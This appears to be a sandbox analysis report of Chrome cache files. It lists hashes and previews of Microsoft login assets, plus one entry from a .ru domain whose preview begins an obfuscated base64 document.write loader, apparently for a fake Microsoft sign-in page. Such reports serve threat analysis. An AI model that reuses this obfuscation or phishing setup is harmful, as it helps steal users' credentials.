Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	dropped
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (918)
Category:	downloaded
Size (bytes):	1233
Entropy (8bit):	5.4604704891374
Encrypted:	false
SSDEEP:	24:hY/LLuvW9BokgrY7cMdhwCBie46Tz1QqIJIzcq9X5wXR5viRX4j:bCo5Y73hwCd4olUItp5wrNj
MD5:	5DC258F6742F6D22A4CD80F50926ED70
SHA1:	2925F965C31990E0F883E2E885A3D57056168DCC
SHA-256:	3B8D3C93FD78C24F4C175C8515E4A5DF79AEE536AF4CED58BA078EA591569EAC
SHA-512:	BB63B3078587A823CCBB2314EFF3CCC16B20A01AC717CE37289DA8B5118E5053F867CE62256CC1C9466A7E2CBF60C854F4DEA68A060D67CC51BAAB17179E140C
Malicious:	false
Reputation:	low
URL:	https://msft.hsprotect.net/index.html
Preview:	<!DOCTYPE html>.<html lang='en'>.<head>. <meta charset='UTF-8'>. <meta name='viewport' content='width=device-width, initial-scale=1.0'>. <title>Human Sensor Script Iframe</title>.</head>.<body>.<script>. var a=["_pxvid","_px3","_pxde"];function b(a){var b=new RegExp("(^\| )"+a+"=([^;]+)"),c=document.cookie.match(b);return c?c[2]:null}function c(a,b,c){window.parent.postMessage({type:"cookie",name:a,value:b,expires:c\|\|new Date(Date.now()+31536e6).toUTCString()},"")}function d(a){var b=/^([^=]+)=([^;])/,c=/expires=([^;]+)/,d=a.match(b),e=d?d[1]:null,f=d?d[2]:null,g=a.match(c),h=g?g[1]:null;return{cookieName:e,cookieValue:f,expires:h}}function e(b){var e=d(b);-1!==a.indexOf(e.cookieName)&&c(e.cookieName,e.cookieValue,e.expires)}function f(){try{var a=Object.getOwnPropertyDescriptor(Document.prototype,"cookie")\|\|Object.getOwnPropertyDescriptor(Object.getPrototypeOf(document),"cookie"),b=a.get.bind(document),c=a.set.bind(document);Object.defineProperty(document,"cookie",{get:fu

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/images/2_bc3d32a696895f78c19d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7553), with CRLF line terminators
Category:	downloaded
Size (bytes):	20130
Entropy (8bit):	5.880275690794581
Encrypted:	false
SSDEEP:	384:dnuExNxjoX/hM4T3DV32ebnuExNxjoX/hM4T3DV32eElrClrf:hNxjoPhNFHNxjoPhNFElrClrf
MD5:	ABE5ACF2FC3778F5B9292E42B3026648
SHA1:	3BBA28E87E4BDB4474771E7EE1E6EC161B6C37F5
SHA-256:	0D6003A50D93772EAE8244CC959A2641EEE2AF0ED210AC410D29CE753AD84274
SHA-512:	B7FE60F53E4B6CEBBBBCA8A2885102227B8AC7015C67FF9C123634FAF9E2DB60CC81253035133367F5E582DEF3EB26CC887A105B1C95EEDC9F4DB367157976C9
Malicious:	false
Reputation:	low
URL:	https://bur.tabilicit.ru/HgSlh/
Preview:	Innovation distinguishes between a leader and a follower. -->....<script>....if(atob("aHR0cHM6Ly9idVIudGFiaWxpY2l0LnJ1L0hnU2xoLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDo

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65462)
Category:	downloaded
Size (bytes):	908206
Entropy (8bit):	5.40366918583527
Encrypted:	false
SSDEEP:	6144:9sOkOAALIQkUm2h49TlMVfiqEb+G/Ksg3DGDNJQNVg00dPMjUTfw8wApKGy:PFdh4Lq6g34NJhPMjUTfw8JpU
MD5:	44B922FB300F9F209E7AC9F7B14EBC5F
SHA1:	2157DCAA631D37B427286D5969A85567EE39FC8B
SHA-256:	D99BAA4DAEE34AC0EEAEA93D2CD1AB4963616023E8628898A4CC7A0980A32DFC
SHA-512:	72F8FF14E565F192FF7AE739F4F712F59B141CE85D88490C625F60C51E9EBBE883BC5FA959BC23154098F3376C5A12FBDC0A393E4E60E93F137C7A309243C7BA
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js
Preview:	/! For license information please see signup-fabric_en.js.LICENSE.txt /.!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function c(e){return r.isMemo(e)?a:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var s=Object.defineProperty,u=Object.getOwnPropertyNames,p=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,f=Object.getPrototypeOf,g=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(g){var o=f(n);o&&o!==g&&e(t,o,r)}var a=u(n);p&&(a=a.concat(p(n)));for(var l=c(t),m=c(n),h=0;h<a.length;++h){var b=a[h];if(!(i[b]

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	dropped
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
